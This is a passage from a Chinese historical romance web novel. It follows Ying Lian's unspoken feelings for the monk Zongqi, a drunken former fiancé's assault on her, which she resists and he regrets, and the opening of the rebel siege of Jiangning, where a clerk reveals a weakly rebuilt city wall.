元羲微微笑了，如幽篁里丛竹风姿修挺，眸中却深深，“应家从前的一个家人，二哥怎么了，为何如此惊慌？” 元羡这才松懈下来，掩饰住一闪而逝的尴尬，“哦，是……我就是有些意外。” 跟着，他便叫来从人奉茶，又道这玉芽龙团是今春御贡的新茶，官家才赐下的，他亲携来了最好的山泉水，清冽又不失甘甜；以此煮来的茶，不啻玉露仙浆。 元羲浅浅呷了一口，便搁在一旁，道了声好，“二哥怎么不问是谁？是了，他家奴仆众多，我便说了二哥恐也不认得。只是我与应家毕竟有翁婿的旧谊，不忍见其家人流落，想带他一同回洛京。” 元羡差点一口茶喷了出来。 “不可！”他忙阻拦。 元羲皱眉，“为何？” 元羡说不出话来，半晌扯了个由头，“四郎胡闹！他家犯了谋逆重罪，你怎可收容他家的奴仆？若被朝中敌党察觉，必要扯上干连，参咱们家一个包藏祸心的罪名！” “敌党？”元羲浑似不明所以，恳切地发问，“我家在朝为官，俱是清流，从不牵扯什么派系党争。元祐党人、景顺党人虽彼此争斗，父亲于两党之中，人缘却都不错，何来敌党？” 元羡哑口一刹，含糊道：“如今党争严苛，谨慎些总是好的。你莫要发傻。” 元羲不置可否。 元羡便打了个哈欠，示意自己困了。 “二哥乏了，小弟便不搅扰了。”元羲起身，眼见着元羡似长松一口气，忽冷不防又道，“家中总是谨慎太过。我与惜奴亲迎礼前数月，总被父母约束，几乎不得相见；祸事发后，又被禁足庭园，半步不许出家门，连狱中探视一回也不得。如今他家人流落，二哥，我于心不忍，难道当真不能带回家去么？” “不能。”元羡狠下心肠，却在他软语哀告之下又心软了几分，于是道，“你若真怜悯他，多施与银钱便是了。” 说着，即教人取来鼓鼓的一锦囊，巴掌大小，塞与幼弟，沉甸甸的。 元羲打开来，是满满一袋金铤，那金光润润的，仿佛在嘲笑他：钱以外的事，你力不能及。 他收了锦囊，向二哥行了个礼，退出客店。 元平心惊肉跳地等在楼下。 见四郎出来，他才心稍松了松，紧接着又一个窜步过来，上下打量三遍，确认自家郎君无虞，这才问：“四郎与二哥可有好好说话，没闹起来吧？” “自家兄弟，有甚可闹的。”元羲一哂，翻身上马，扔给元平一样物件。 元平眼疾手快地接住，手上一沉，却是个锦囊，里头满是金铤，少说也有二斤，收好了，便揣在怀里。 “咱们去买什么？”他骑马紧跟在元羲后头，问。 元羲驭辔骑行，声音如常，只是晴日下空空洞洞的，风一吹便散了： “不买什么，赏你了。” 应怜与宗契见面的次数愈发少了。 自从上回入夜闹了不大不小的一场，到如今，义军动身开拔向江宁，她屈指一数，与他竟只见过两回，还俱是碰巧偶遇。他那头许多人跟着，纵见了，她也只得行个礼，问候一声便过了。 心里的念想野草似的疯长，闭上眼，幽深中便勾勒出他的模样，想问他今日过得如何、手头事务忙不忙、可遇着什么烦心事，与她哪怕说上二三，教她听一听他沉如雷石似的的声音。 睁开眼，她有时坐在庭院里、有时发呆盯着窗外、有时躺在柔软却空荡的碧罗纱帐内，静静掐灭那股念想，并告诫自己：没什么可想的，他于你，已仁至义尽。 相较于前头的统领们，后宅女眷的事便要清闲许多。应怜得了闲暇，调了些浓淡合宜的香，赠与各院之人；端午前后，又教春莺茜草到外头买些花朵，插在姿态各异的瓶里，依着人脾性不同而赠。 秾李的是白玉瓷觚里一支待绽牡丹，并次一等芍药，松、柳、海棠为臣使； 元羲的是哥窑一支瓶内姿态幽直雅逸的竹与兰，并无多余点缀； 单铮的是尺余高一古朴青铜小方樽，以菖蒲与石榴为君，臣使配与幽兰蜀葵，奇艳繁闹。 余人各自不同，散与各院。春莺茜草来来回回，通赠完了，携一身花香而归。 春莺忽地想起来，“啊”了一声，“宗契高僧可还没有花儿呢！” 正说着，踏入庭院，一眼见应怜 在一案边，供着一琉璃冰壶：半尺见长，玲珑剔透，里头几支疏致栀子，将绽未绽。已是清冽幽香，沁人入脾，她却拈了朵半含苞的钵莲，白皙莹润，瓣尖一点殷红，瑰态天然。 那钵莲在她指间犹犹豫豫地拈着，一时插进壶里，一时又摘出来。应怜低着头，也不知在想些什么，耳尖有些红红的，与那钵莲的瓣尖一样。 二女使有说有笑，道此定是与宗契的那一瓶，便齐齐凑过来，惊动了应怜。 “娘子这瓶花可是给高僧的？”茜草道。 “这钵莲好看，又是佛国净土的花儿，与高僧最衬了。”春莺道。 应怜便“嗯”了一声，依她的话，将钵莲缀在了栀子之中。 春莺问：“我这便送去？” “……不，我自去吧。”她小心托起琉璃冰壶，柳枝撒了些清水在花朵上。 春莺与茜草习以为常，乐得清闲，便留下处置枝枝叶叶，任她出门了。 应怜一路出后宅庭院，过了几道连廊，手里冰壶稳稳当当，花枝拂风，曳出令人心颤的幽香。钵莲在其中，露着檀口般殷殷一点，映到了人心底。 送一支莲去，本也没什么。她心中一遍遍对自己道。 无奈花草无心，送的人有心，这一支佛花，也仿佛有了绮思。 芳菲千万，送什么不好，怎么就偏偏送个“怜”？岂不是徒惹人遐想？ 可春莺与茜草也说了，这是佛花，最衬宗契，谁见了会动那歪心思呢？不会有人往狎昵处想的。他更不会。 前后府署要过一处小园。她抄了个近道，从一片不大的湖上新修的九曲桥上而过，湖面莲叶团团，也生着或白或粉的莲花，清香淡淡，十分沁人。 ……他当真不往那处想么？ 这却有点教人失落，莫名其妙的，全无缘由。 应怜腹里几乎纠缠成一团，怕他想，又怕他不想，闷着头，只顾日光下护着花儿，几乎不曾看路。 直待快过了桥，忽听那头有些脚步声，她本心虚，便惊了一跳，抬头却见不远不近地来了几个人，为首两个身量最高的，一眼便瞧得清楚，正是单铮与宗契。赵芳庭与钱美等几个走在一侧，正说着什么。 猝不及防，应怜心中彷如一个撞锤，重重一跳，几乎与那头迎来的目光碰上，轰地脸上烧成一团，也不知怎么想的，背过几人，烫了手似的，一下便将钵莲偷偷扔进了水里。 莲叶田田，花朵沉浮在浅浅的湖畔，倒显不出什么。 只是她心扑通扑通地跳着，走了几步，与那几人打了照面。 单铮先开口，心情似不错，“我那处的花朵，有劳柳娘子费心，很是鲜美。” 钱美也得了花，笑道：“我那案头一搁，满屋都添色不少，足见柳娘子插花的本事高明，又颇具天然。” 应怜点点头，稳了稳心神，答对了几句，目光蜻蜓点水扫过众人，偏在宗契身上忍不住驻留片刻。 偏他也正瞧着自己，眸底映着晴光，熠熠之中，使应怜错觉般感受到一片近乎温情的柔和。 她捧着琉璃冰壶的手便更紧，微微向他致意。 赵芳庭有些不满，酸溜溜地道：“我怎么什么也没有？柳娘子，你怀里这一瓶，是与我不是？” 应怜不大喜这人，只是到底也没什么过节，只得回护那冰壶，不教他伸手勾了去，“这是给宗契师父的，回头我再插一瓶，送到你那处去。” 旁人哄笑起来。 笑声里，应怜脸面微红，把冰壶栀子往宗契怀里一塞，碍着人多不好说什么逾矩的话，只叮嘱了几句养护之法。 宗契一一应了，只手捧着瓶花，霎时素朴的灰衣领襟间便浸染了浓郁的花香。 他没说什么，只向她点点头，见那一张秀致天成的面庞上层霞一般染了淡粉，倒显得掌中花朵失了颜色，使人错不开眼。 赵芳庭吃不到葡萄嫌葡萄酸，索性挑剔这一瓶花的不是，“不错不错，只是失之疏淡，仿佛散了些，这一瓶必不如我那一瓶好！” 应怜有些心虚。 插花也讲究君臣佐使，她把冰壶里的“君”扔了，可不是疏淡懒散了么？ 几个汉子对着栀子评头论足，便有机灵的，一望那湖畔唾手可得的风荷，便道：“有了，随摘一支莲盛供在内，不就密实了！” 应怜心头乱跳，“嗯”一声，便不说话了，任他们排布。 也不知是有心还是无意，她手中一沉，却是宗契将琉璃冰壶交在她手里，并不说什么，只是绕在桥边，一倾身，将掩映在出水莲叶下的一支莲摘下，把在手心里，瞧了片刻。 应怜瞪大了眼。 那不正是她丢掉的那一支么？ 兜兜转转，到头来又被他插进了冰壶里。 她在一干人玩笑的目光里，脸上轰又烧得通红，也不敢瞧宗契是什么样神情，垂着眼，把复归完好的冰壶还给他，行了个礼，落荒似的告辞了。 那几人浑无察觉，唯宗契行在当中，一手捧着花，神色平静，也不知想些什么，目光偶落在那支鲜妍娇美的钵莲上。 另一只手指尖，还残留着莲间的水渍。只有他自己清楚，那莲也不是摘下的，而是原本便断了茎干。 “真是奇了，这一朵莲怎么与湖里那些个浑不一样呢？”谈论声里，赵芳庭凑上来，也不知话中有无深意，要来抚弄那莲瓣。 宗契稳稳当当将瓶花换了一边，避开他手爪，声音平淡如常，“嗯，这朵更好。” 碧波成片，莲叶田田。一霎时，满湖的莲花风韵，在他目中，都失了颜色。 自那次送瓶花时的偶遇，又过了两日。 起初应怜心里小鹿乱撞似的，生怕宗契瞧出什么眉目；等了些时候，他那处无甚动静，却使人送了些精致的果子点心来，教她放了心。 可人心真是捉摸难定，前脚才一颗心落回肚里，后脚她又莫名陷入了一股低落。 夜来辗转难眠，先觉着自己好笑，又觉着自己可怜，为着一朵花瞻前顾后，又为着一段压根不能言明的心思坐立不安。若真教宗契知道了，还不晓得要怎样瞧不上自己。 就这么低落了一二日，忽听闻元羲的兄长已至，便要带着他回家。 她不得不承认，初闻此信，自己第一反应是松快。仿佛一块压在心底的大石，有朝一日终于挪开，她稍许能喘匀一口气。 紧跟着才是接踵而来的惆怅、不舍，甚至怀念。 元羲要走，她这个在元家人心中“已死”之人，不便去送，正想着与他总要辞别一回，全一场终了的旧情分 ；不料这时机偏巧不巧，正在临行前夜，送上门来。 来的是元羲。 他毫无顾忌地扣门，已是黄昏过了，月上梢头，人声甫静的时刻，一边拍一边唤：“惜奴！是我、是我！惜奴——” 声音含混，带着浓厚的、颠三倒四的酒意。 茜草慌忙来开门，有些为难地劝：“入夜了，元郎君吃醉了酒，快……” 元羲一把将她搡到一旁，踉踉跄跄地大踏步闯进了院儿。后头茜草拉不住，怕闹出乱子，只得又喊起春莺，正无措时，正屋当中门开了。 应怜早已听见院中动静，开了门，趁着皎明月色，见元羲如此失态，匆匆来扶他，两三步近前便闻到一大股酒味。 “怎么吃这许多酒？”她皱眉，有些恼怒，“不是说元平也来了么？元平呢？怎么就肯放你黑不楞登地摸过来！” “我、我让他先……回了！”元羲半副身子近乎压上她肩头，沉沉地大着舌头道。 没奈何，应怜唤春莺点灯，茜草煮醒酒汤，自个儿将他扶进屋，在小间里一张锦罗围榻上放下来。 元羲不肯躺，就着半明的烛火，分明酒醉惺忪了，仍要张着双眼，执意瞧她，眨也不眨，似乎怕松一松，灯下的应怜便飞走了。 他从前不曾这样醉过，应怜无法，要去为他倒茶，却一把被他扣住了腰，坐倒回榻上。 “你放开！”她当真恼了，觉着这样子拉拉扯扯不像样，便去拍他的手臂。 对于元羲，她最深的印象，也是脑海里最盘固的一种，与其说是夫君，不若说更像玩伴。 他是个领她玩耍、教她丝竹棋画的兄长。浮起懵懂的少女情思，也不过是这一二年的事，当中夹杂着不知多少对旁人艳羡目光的虚荣、对他外表风姿的浮浅喜欢，以及长年累月早已习惯了的亲近。 她从不认为，他们之间，有什么深重难以逾越的隔阂；正如也从未想过，他在她所忽视的一面里，已长成一个实实在在的男人。 一个与旁人无异的、有占有心、嫉妒心的男人。 元羲的手不放，扣在她腰间反却愈来愈紧，眸中燃起了一些她看不懂、却本能觉得危险的光火。 “你先放开我。”掰不开他的手，应怜放软了声调，莫名身子有些紧绷，后知后觉地发现，扶他进屋似乎并不是个好的选择，“我不走，我就在这。” 元羲近乎叹息的声音近在她唇和耳畔，仿佛深重地颤抖，“惜奴，你爱我的，对不对……” 应怜浑身僵住。 他就贴在咫尺，双臂搂过她身子，密密匝匝将她箍在怀里，想逃也逃不掉。 春莺与茜草也不知躲在哪里，连个影儿也见不着。 她不该对他生出恐惧的。 可眼前这人，满身尽是酒气，身体比言语更直接，锢着她，不放出一丝空隙；她清楚地看清了他眼底的执拗的渴望。 “你醉了……”她勉强克制这股恐惧，在他偏执地凝视下，挤出一丝笑，却不敢动弹，“元羲，放开我，我不喜欢你这样。” 元羲耍赖似的，醺醺地一笑，透出些平日里从未有的风流，亲昵地抚了抚她头发，“说你爱我，我就放了你。” 应怜羞恼起来，全无与他调笑的心思，恨不得在这张脸上踢两脚，“我不爱你！” 他像戴了一副沉甸甸笑意的面具，被她一句话撕扯下来，再粘不住在脸上，咣当掉落在地，裂得粉碎。 面具下，一张真正的、绝然痛苦的脸面露了出来。 他缓缓收了笑，眼眶有些发红，玩闹似的轻轻捏住了她下巴，摩挲着，酒气喷在她脸上，“不爱我……那你爱谁？那个和尚？” 怀里，她身子一霎紧绷得不像样，惊恐地盯着他。这反应倒教他更嫉妒起来，酒意催逼得又失了几分理智，一个翻身，竟将她压在了身下。 应怜尖叫起来，不住地挣扎：“你放开！春莺、春……” 他捂住了她的嘴，发红的眼里一丝疯狂，压着她手脚，在她愤然欲泣的目光下，滚烫的唇贴在她脸侧，流连向下，声音也从喉间破碎地流出： “嫁给我好不好？我们成亲、我带你走！不回洛京、不会洛京……我带你走得远远的，好不好！” 他胡乱无章法的吻向下，大片落在她额上、眼上，脸颊，才要松开手，吻她双唇，忽手上一痛。 应怜恶狠狠咬住了他手指，力道之大，唇齿间登时弥漫出一股铁锈味。 她眸子红通通的，惊恐的泪不受控制滚滚而落，浑身抖成了一团，松了口，也还在呜呜地哭。 元羲愣住，放轻了压制他的力道，轻轻地伸手拭掉她的泪，只是越拭越多，他指间的伤痕渗出血来，与泪混布在眼角，像她哭出了血一般，添了一丝凄靡。 “你发什么疯……你就像那些人吗？”她哆嗦着，任自己难堪的一面露在他眼前，咬着牙，道：“我……我在青玉阁里三个月，他们说，若不从，便将我随意扔给什么人玩乐，你就是那样的人吗……” 她眼角的血一丝丝流下，仿佛止歇不住。 元羲想通了这话，如遭雷击，久久说不出话，终开口，声音又干哑又破碎：“你、你从不曾提过……” “提什么？”她狠狠丢开他为她拭泪的手，将一直闷在心底、不敢与他透露的经历索性一把掀开，越是难过，却越是愤怒，“提我被卖到行院里，若不是宗契搭救，早已是一把尸骨了么！提我在牢狱里暗无天日，日日盼着见你一面却不能么！提我看着我娘脑浆迸裂，尸首被拖下去，拖出一条长长的血印么！” “我最想见你时你不见，如今我已好了，你反来搅扰我！说什么带我回洛京、与我成亲，你哪里是为了我，不过全为你那点求而不得的私心罢了！”她几乎怒吼出来。 一口恶气发泄完了，他却愣着。 应怜浑身的血过速狂涌，滚烫地灼着，心底却冰凉一片。过激之后是深深的疲惫。她见他木愣愣的，艰难地将他掀下去，愈来愈加重的枯竭感却压得人自暴自弃，索性摊开手脚，与他相对躺在了不大的榻上。 火光曳曳，灯烛半明，他们如两只孤独又无措的野兽，瑟缩在一起。投在墙上不像样的凌乱影子，在灯火下无声地挣扎。 元羲闭上眼，无力地被她驯服，将脑袋凑了过来，与她额头相贴。 应怜感受到了来自他的温度，冰冰凉凉，同她自己一样。 他眼角沁出了泪，将从不曾有过的可悲的软弱暴露在此夜，在她的面前。 “对不起，对不起。”他枯哑的声音若干涸的泉流，再涌不出温润的甘泉，一遍一遍，充斥她的耳畔，“我不知道，对不起，惜奴，我不知道……” “我不怪你。”她叹了一声，听着叹息回旋在冰凉的夜，酸涩起来，又听自己的声音道，“是我们缘浅。你有你的路，我有我的路，再走不到一处，所以，也别提什么荒唐的话了。我不爱你。” 他仍魔怔了似的，说了一遍又一遍：“对不起，我不知道……对不起，我不知道……” 渐渐地消没了话音。 酒意萦绕满室，逐渐也冷凉下来。应怜想，他或是睡了，或是半醒着。 她憋闷在心里的话，突然很想向他全说出口，只当有个倾吐的地方。 “你说得没错，我心里已有了别人。” “在我最无望时，他救我出水火，护我不受欺凌，送我辗转投奔。我分明是泥淖里的一只蝼蚁，他却说我是明珠。” “他本可以过闲散无忧的日子，却肯为了我，做上刀山、下火海的事，从此再不得安稳。” “他有千般好，是清莹的松雪、巍峨的山巅。他是世上最行得刚正的君子。我何德何能，竟只用十两银子，与他有这样一场恩惠。这样的人，我怎能不爱他？” 一字一句，句句是裹着蜜糖的黄连，最甜又最苦。 她这一辈子，恐怕也不能向他袒露这样直白的心意，只得在这样一个不合时宜的、荒诞的夜里，向一 个最贴近她的人倾诉，哪怕是以这样狼狈的方式。 元羲紧闭着眼，一动未动。 她想着他丰朗清幽的模样、修挺巍峨的轮廓，微微地翘起了唇角，在黑暗中，仿佛得见了最耀眼的光火。 清夜溶溶，栀香与浮尘扰动。 他也不知怎么就走到了这里，本闻听元氏子明晨回京，怕她伤心，却内心深处犹觉庆幸，一抹私心作祟，觉着此人走便走了，免得惹人心烦。 这些时日，宗契对镜静观，或盘坐扪心，总不知该怎样正对自己心境。 他自明了，心境已乱，绝无可能再回到从前。 所能做的，就只有如平常待之。 待她，也待自己本心。 只是静夜的庭院里，无人一角，窥见未掩牢的窗隙间如此情状，仍教他无所适从。 宗契攥紧了拳，脚步生根似的，品尝到了心头舌尖的一点酸与苦。 也不知枯立了多久，他在暗沉的夜里，蓦地如晨钟暮鼓，狠狠撞开浑噩心智，振聋发聩。 他们本就是天上的一对鸾凤，生来该在一处。他又是哪里来的虫蚁，对此能有什么置喙。 白日里他把玩摩挲琉璃冰壶，不自觉偏想起她慌慌张张背人扔掉的那一支钵莲、通红的耳尖、羞怯的眼眸，想她落荒而逃似匆促的步履，总想一厢情愿地从里品出些格外的滋味。 心头有一万个万一，如今想来，卑鄙又龌龊。 万一她扔那钵莲，是有意为之呢？ 万一她向自己那一片温软的眼眸，是旁人得不到的青睐呢？ 万一…… 他按下了这些糟污的心思，狠狠止住荒唐的念想，移开眼，回身，毫无声息地离去。 栀子清幽，人去后，仍暗香浮动，久久不散。 辞别此夜，元羲在她的小榻上酒醉浓睡。 说来好笑，也不知他明日醒后，会怎样懊恼自己失态。 应怜无声息地下榻，为取来一席薄被，浅浅为他盖了，才出小间几步，却闻听屋对面的幽暗廊角，有人轻言细语： “咦，你闻出香味了没有？” “没有啊。” “有的，似乎是栀子。” 那二人轻手轻脚，来到明处，携着几样醒酒的汤药，见了应怜便问：“娘子，元郎君怎样了？” 一个春莺，一个茜草，尘埃落定了才回来。应怜揉了揉额，实在无奈，“怎么一个两个都出去了？” “厨房里不得醒酒的汤药，天黑了，我又不敢独自外头去寻，便叫了春莺一道。”茜草有些赧然，怕应怜挑理，匆匆去煮醒酒汤了。 春莺也去后，应怜前走几步，来在无人迹的拐角处，置身黑暗，仿佛果真闻到了似有若无的幽香，是栀子，却又捉摸不定。 也不知是哪处园里飘散来，或就是前两日插在琉璃冰壶里的栀子清香不散。 她未深想，将忽如其来的一缕惆怅掩去，回了屋中。 自古善恶难定夺，人心两不知。 自元羲随了元羡回程，一路有些浮浮沉沉的心思，从不露在脸上，也不与旁人道。哪怕是元平，也只隐约察觉四郎有些变化，却捉摸不透究竟哪里不一样了。 他到底是贴身侍奉的家人，对四郎一言一行都极上心，更兼因先前一番话，怕惊吓到四郎，因此心神总有些不定；寻了空，不凑在元羲身边，却来问随行的女使范碧云：“哎，贼营里这些时日，四郎可曾遇着什么、或逢着什么事？” 范碧云心里翻了个白眼，面上却笑吟吟的，“没有呀。就算有，我哪晓得。” 说的却是实话。自打见了应怜的面，元羲对她便格外冷淡下来了。 ——虽然从前本也不热络。 只是她执拗地偏认他更比从前冷淡。没奈何，无论她怎样铺床叠被、红袖添香，侍奉得怎样周全细致，元羲眼里总没有她这个人，仿佛她与那些笔墨纸砚一样，都只是个案头陈设的物件。 不，她怎比得上那蓬莱砚、潘谷墨。她的身契，也不过只值十余贯钱而已。 但终究是随他回洛京了。范碧云私下里宽慰自己，洛京是他的家，也是她的家。 最难得的是，那里没有应怜。 元平仍是犹疑，不大信的样子，又提醒她：“你再想想，或是见了什么特别的人、经了什么特别的事？” “真没有。”范碧云不愿与他纠扯这话题，牢记着元羲来前的郑重警告，“贼营里能有什么出奇的英雄？不过都是贼寇而已。” 元平东问西问，问不出个究竟，想到私下里探听的一事，忽道：“听说里头有个柳氏娘子，与咱们郎君攀扯不清？” 范碧云心中一突，半真半假哼道：“不过是流言蜚语，那柳娘子是什么轻浮的玩意儿，若真与郎君有瓜葛，怎么不见她也随了回京呢？” 元平想也有道理，只是上下眼打量了几遭范碧云，充个大辈儿敲打了一番：“虽说四郎带了你回去，可你万要认清自个儿身份，这是回得了大造化，才能在四郎跟前侍奉。你可要晓得，素日里我家用的女使，都得一层层筛箩似的择选过，百里还挑不出一个入眼的来……” 他叨叨叨个没完，范碧云任他念经似的，自闭了一双耳，手头绣自己的一个香囊去了。 那头里，元羲与元羡义兴县远了，行程便放缓下来，元羡着实松了口气。 正值浅浅初夏时节，柳荫初浓，车马行行停停，元羡骑在高头大马上，与元羲并辔，拂着微风，身心舒畅。 元羲与他有一搭没一搭地闲聊。 “官家前阵子圣体渐愈，为感天顺时，诏令加开恩科，正在六七月之中。往年父亲见你年幼，压着不教你省试。如今你已及冠，据我看来，父亲松口，你大可去考一考。以你经策的学问，中个进士及第不是难事。” 元羡自是进士出身，对幼弟的才学看是看得准，不过怕他站错山头，故有心提点几句，又不好说透，免得兄弟又问什么自家清不清流一事。 “经义、诗赋我是不必担心你的。只五道策论，你还得慎之又慎，总要琢磨好庙堂的风向。”元羡又道。 原以为元羲会顺着往下问，不料他却只是应声，问起了毫不相干的事来，“去年太子因逆事获罪，虽不致被废，却也只剩个空名头，失了圣心。风传得了一阵疯病，年初时转好了？” 元羡有些意外，“是……你问这作甚？” “我不过有此一问罢了。”元羲甚不经意，望着前头马踱行的牙道方向，道：“我只是想，若当真失了圣宠，为何还留有名号？岂不正映了官家仍有一丝血脉亲情之意……保不准还能东山再起。” 元羡不答，踟蹰半晌，行出一二里了，才似下定决心，转头向元羲，透露一二，提点他道：“你莫要想偏。父亲在朝堂，如履薄冰，若要我家不赴那应氏的后尘，还得依附在稳固的大树下，又怎能往已倒的将死之树下存身？” 元羲彷如惊诧，终究应了。 只是握在缰绳上的手，在二哥察觉不到的目光下，紧攥得手心也生疼起来。 第79章 第79章二入江宁 五月末，义军攻江宁。 黄仲骕的禁军班师回朝，正值炫耀战功之际，江宁告急的文书递来洛京，居然一时石沉大海。信使日夜焦心地枯等在馆驿，却连上峰的面也见不着。 京朝里自有暗流汹涌，战事却等不得，信使快马加鞭，十日去、十日等、十日回，临了却发现自个儿回不去江宁府城。 ——那城四面早被贼匪围得铁箍似的了。 好在他也没得着朝廷什么正经的答复。真不幸中的万幸。 信使灰溜溜找地儿猫着去了。 围城可大可小，少则十几二十日、大至一二年也有，那必是城里城外双方俱疲惫交加，只等谁先撑不住。 自然，以单铮兵众的实力，是围不住这样长时日的。他们不过钻了地方城防空虚、京中反应迟滞的空子，趁着无人能管，务要近日内拿下江宁。 偏此城为旧朝古都，墙高城深，又有宽阔的护城河环绕，一时难以攻克。 自五月至六月上头，单铮领各部城下攻了数十次，折损了千余人，却怎么也攻不下这座城。 焦灼气氛一时盘旋连营帐中，士气也有低靡的势头。巡营的头目将领瞧在眼里、急在心里，围城不攻之时，便聚在中军帐议论计策。 王渡倒是出了个不错的法子，“彼军贪婪，咱们可借攻城之机，遗下财货于城门外，趁他哄抢、不听管束之时，率奇兵冲入城中，开出一条路来，直捣官署。” “此计可行，只是太过凶险。四面通衢的城门皆有重军把守，如若强关城门，拉起吊桥，岂不平白送了先锋勇士的性命？”军师林文贵道。 赵芳庭道：“似江宁这般有根基的大城，攻城以攻心为上。若使彼军惶惶，攻入城去，便不是难事。” 中军帐里有人眉头深锁，有人议论纷纷，都等着单铮拿主意。 单铮沉吟半晌，点头道：“舟横先生说得有理。攻城本就是险之又险的事，但有几分把握，便可一试。” 说罢扫视众人，目光盘桓一周。 “我愿为先锋，”座下一人声如雷霆势沉，正是宗契。 随后又有几人附和，皆愿一马当先，冲城夺门，俱是素日里勇武过人的头目，领了这一件刀尖上拼命的差遣。 初夏六月，江宁府城下，处处潜流暗涌，大战来临的凝肃气息如欲来山雨， 沉沉压在城上城下铺开连片的兵众之中。 谁也不会注意到，一些名不见经传的小人物的悲喜心情。 毕竟，当两只巨兽争斗时，是不会在意是否碾死了几只蝼蚁的。 武大用此时便觉得，自己就是一只蝼蚁。 ——随波逐流、听天由命。 可当关乎他自身的噩运降临时，他这样一只蝼蚁也开始觉得，总要反抗一下、争取一下。 快点、再快点！ 他驱着一只疲惫不堪的老牛车，自己也像套了车辕的牲口，奔波了一日夜，又累又困，喉咙焦渴、嘴唇干裂，生满了燎泡。 黎明前的夜黑沉沉的，唯有寥寥群星微微映明车前嶙峋的碎石路。 牛车上颠下簸。里头横木内，躺着他的儿子阿虫，无知无觉地跟着颠簸起伏，小小的身子发着高热，偶尔动弹一下，也不知是哆嗦还是痉挛。 武大用在府署里当值，却住不起城中的屋子，便将妻儿常年安置在乡下老家。年前浑家害病死了，唯剩了年仅五岁的阿虫，随着叔婶过活。他攒了几个钱，便想着在城里赁个小小的屋舍，接了小子来。府城里的蒙师总比乡塾的高明一些。 阿虫不随他，生得聪明，五岁就已会背《千家诗》的许多篇，夫子说了，是个念书的好苗子。 他抽打老牛，鞭子挥得手酸疼，听着车里小儿呓语，于是停下来，拔开水囊，小心翼翼地给阿虫喂了水，只这么一会，手心也跟着变得滚烫。 他又马不停蹄地继续上路，向城外二十里赶去。 二十里外驻着贼匪的大营。 打仗么，不是受伤就是死人，缺胳膊断腿，那里总是有大夫的。 晌午时，有人来带话，说孩儿染了风寒，教他快回去瞧瞧。 这当口，进城的进不来、出城的出不去，几道城门严防死守，生怕混进贼寇的奸细。他费了九牛二虎之力，守城的兵士看在他在府署里差事的份上，才让出城；又避开拒马桩、陷马坑附近巡卫的守兵，偷偷摸摸到了乡下，已是黄昏了。 弟妹见了他便惶惶道：“清早便托人寻你，伯伯怎么才来！阿虫起了热，吃了丸药也不见好。如今外头兵荒马乱，咱们又不敢贸贸然出门，正合计着等你带去城里瞧大夫呢！” 初时阿虫还认人，喊了他一声“爹爹”，后来便半睡半醒，昏昏沉沉，抽起筋来。 武大用怎么不晓得为难，出城已是费劲儿，这会子天晚了，再要入城，岂不比登天还难？ 可若任孩儿这么烧下去，能不能保住都难说。他顾不得再多，套了辆车，与兄弟两个一道，一路来在城门下，果见吊桥已升，城上守军喝令：“夤夜不得入城！” “是我！武大用！”他大喊，“府署里当差的皂隶！今夜是谁守城？董校尉还是王校尉？” 城楼上三两脚步，一会儿，上头倨傲答言：“俱不是。是我，李三。” 武大用心头咯噔一下。 偏是这人，他那倒霉催的死徒弟李五的哥哥。 李三正因兄弟不明不白地死了，无缘由怨怼武大用，今夜任说什么，也不肯放他入城。 武大用把嗓子喊哑了，也没喊开城门；回头再看阿虫，烧得已不省人事。他兄弟道：“要不、要不咱回去吧，再不走，他们要放箭了！” 武大用心里深恨，掉头回转，每走一步，心都绞着，恨不得城楼上那等人一头栽下去摔死才好。 行到半道岔路口，他将兄弟赶下去，驾起车，吆了一声，往黑洞洞的前路上去。 “你去哪儿？”兄弟急了。 牛车已决绝向前去了，被半遮住的车前传来武大用决绝的回答：“找大夫！” 此夜为宗契督营。 连营军帐匍匐大地，灰黑的山丘一般，与火光遥映下的土地融为一体，绵延望不到头。单调、萧瑟，却震慑人心。 他从营间小路上逡巡而过，时常有一支支巡营的小队执兵刃来来去去，报说俱都如常。 后半夜，本到了换岗时分，西面的一支巡军却有了动静。 一什长来报，说捉到了一人，深夜闯入营来，喊着有破城的计策。 “是什么人？”宗契引起了注意。 “他自称是城里的公差，还抱了个病了的小儿，说要找大夫。”什长道。 为防时疫，连大人带孩儿，都被押在了营帐外头。宗契当下过去探看，拨开拒马的鹿角和桩子，几个看押的兵士之中，一眼见了个中年人，正怀抱小儿，激动地嚷嚷些什么。 宗契皱眉，向跟随的什长吩咐，“找个大夫来。” 什长领命而去。那头的汉子越过兵士，目光望来，怔了一怔，紧跟着像得了根救命的稻草，大叫：“是宗契师父么！小人救过你一回！宗契师父！” 他奋力甩脱兵士，紧走进步，噗通跪在宗契跟前，毫不犹豫。 “师父可还记得那一块姜！当初您中了蒙药，正是小人为您指了一条逃出生天的路！”他目眦通红，喉嗓干裂，沙哑地哀求，“小人不敢挟恩求报，您救救我儿！我、我晓得怎样破城！” 谁说蚍蜉不能撼树，蝼蚁不能溃堤？ 他下跪为真心实意，可也许不会知道，正是这一跪，跪倒了城防百里、跪散了国运百年。 从此改天换地，一条盘曲的潜龙，真正有了腾云的底气。 病中的孩儿已被安置下，找来了大夫照看。武大用被带进军帐，宗契着人连夜报禀了单铮等人。 中军帐内又亮起了通明的灯火，帷幕上人影幢幢，走动站坐。 翌日，令下三军：饱餐战饭，入夜后，一路军士向城西龙关门袭扰，多带财物诱敌；却又有一支攻城的奇兵，各自带锤、凿、铲等器具，掩人耳目，绕行至城西二里，搭壕桥过护城河，向当中一带看似坚实的城墙猛攻。 外人不知根底，唯独武大用这样知内情的差人才清楚：前几年府里报上去说要加固城防。度支拨了款来，却几乎被挪用殆尽，余下一点钱款，偷工减料，将几处缺损陈旧的老墙重，不过糊了薄薄一层，连夯土也不是，根本算样子货。 武大用便指出了其中一处最为松散的薄弱点。 但这仍可能是陷阱。谁也不能确保，此人是否是守军派来混淆视听的诱饵。 率这一支奇兵偷袭的宗契也不知道。 他早已交了封信与单铮，嘱托他道：“我若哪日死了，烦劳你告与柳娘子，将这信送去河东路代州，向五台山佛光寺见我师父慧理方丈。” “既是与柳娘子的，你给她便是了，何 必多此一举托我管着？“单铮道。 宗契想到应怜，不由便笑了，“教她晓得，又该说我晦气了。” 单铮便收了信，私下里收藏着，再没告知过第三人。 那信也还安安稳稳地落在他箱柜里。这一回，单铮私留下他，叮嘱了他一番谨慎行事，又想说些别的什么，末了忍住了，只是拍了拍肩，“……活着回来。” “是。”宗契应得利索。 单铮脾性刚直，对下却宽厚，总不忍见同来的兄弟们有去无回，每每对阵，恨不得自己充作先锋，一马当先挡在所有人前头。但他既为头领，便只能压下焦躁，面不改色地坐镇中军，指挥部下，甚至眼睁睁瞧着他们去送死。 